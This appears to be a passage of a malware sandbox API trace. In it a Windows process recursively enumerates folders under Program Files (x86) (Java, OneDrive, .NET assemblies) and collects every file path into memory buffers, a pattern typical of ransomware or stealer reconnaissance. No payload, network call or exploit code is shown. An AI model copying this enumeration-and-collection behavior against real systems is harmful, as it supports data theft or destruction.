FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.830] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.830] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.830] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.830] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.830] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.830] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0123.830] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.830] lstrlenW (lpString="bin") returned 3 [0123.830] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0123.830] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.830] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0123.830] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.830] lstrlenW (lpString="COPYRIGHT") returned 9 [0123.830] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0123.830] lstrcpyW (in: lpString1=0x24b1488, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0123.830] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.830] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0123.830] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0123.830] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="lib") returned 3 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="LICENSE") returned 7 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0123.831] lstrcpyW (in: lpString1=0x24b14e8, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="README.txt") returned 10 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0123.831] lstrcpyW (in: lpString1=0x24b1548, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="release") returned 7 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0123.831] lstrcpyW (in: lpString1=0x24b15a8, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0123.831] lstrcpyW (in: lpString1=0x24b1608, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0123.831] lstrcpyW (in: lpString1=0x24b1698, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0123.831] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.831] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0123.831] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0123.831] lstrlenW (lpString="Welcome.html") returned 12 [0123.831] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0123.831] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0123.832] lstrcpyW (in: lpString1=0x24b1720, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0123.832] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.832] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.832] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.832] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0123.832] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0123.832] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0123.832] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0123.832] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0123.832] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0123.832] lstrcpyW (in: lpString1=0x24b1788, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0123.832] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.832] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.832] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.832] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0123.832] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0123.832] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.832] lstrlenW (lpString="Microsoft Office") returned 16 [0123.832] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0123.832] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0123.832] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0123.832] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0123.832] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.833] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.833] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.833] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.833] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.833] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0123.833] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0123.833] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.833] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0123.833] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0123.833] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0123.833] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0123.833] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0123.833] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.833] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.833] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.833] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0123.833] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0123.833] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0123.833] lstrlenW (lpString="farehave.exe") returned 12 [0123.833] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0123.833] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0123.833] lstrcpyW (in: lpString1=0x24b0858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0123.833] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.833] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0123.833] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0123.833] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0123.833] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0123.833] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0123.834] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0123.834] lstrcpyW (in: lpString1=0x24b1818, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0123.834] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.834] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.834] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.834] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0123.834] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0123.834] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.834] lstrlenW (lpString="Microsoft.NET") returned 13 [0123.834] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0123.834] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0123.834] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0123.834] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0123.834] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.834] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.834] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.834] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.834] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.834] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.834] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0123.834] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0123.835] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0123.835] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0123.835] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0123.835] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0123.835] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.835] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0123.835] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.835] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.835] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.835] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.835] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.835] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.835] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0123.835] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0123.835] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.835] lstrlenW (lpString="adodb.dll") returned 9 [0123.835] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0123.835] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0123.836] lstrcpyW (in: lpString1=0x24b1898, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0123.836] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.836] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0123.836] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.836] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0123.836] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0123.836] lstrcpyW (in: lpString1=0x24b1938, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0123.836] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.836] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0123.836] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.836] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0123.836] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 [0123.836] lstrcpyW (in: lpString1=0x24b19f0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0123.836] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.836] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0123.836] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.836] lstrlenW (lpString="msdatasrc.dll") returned 13 [0123.836] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0123.836] lstrcpyW (in: lpString1=0x24b1aa8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0123.836] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.836] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0123.836] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0123.836] lstrlenW (lpString="stdole.dll") returned 10 [0123.836] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0123.836] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0123.836] lstrcpyW (in: lpString1=0x24b1b50, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0123.836] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.836] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.837] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.837] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0123.837] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0123.837] lstrlenW (lpString="RedistList") returned 10 [0123.837] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0123.837] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0123.837] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0123.837] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.837] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.837] FindNextFileW (in: 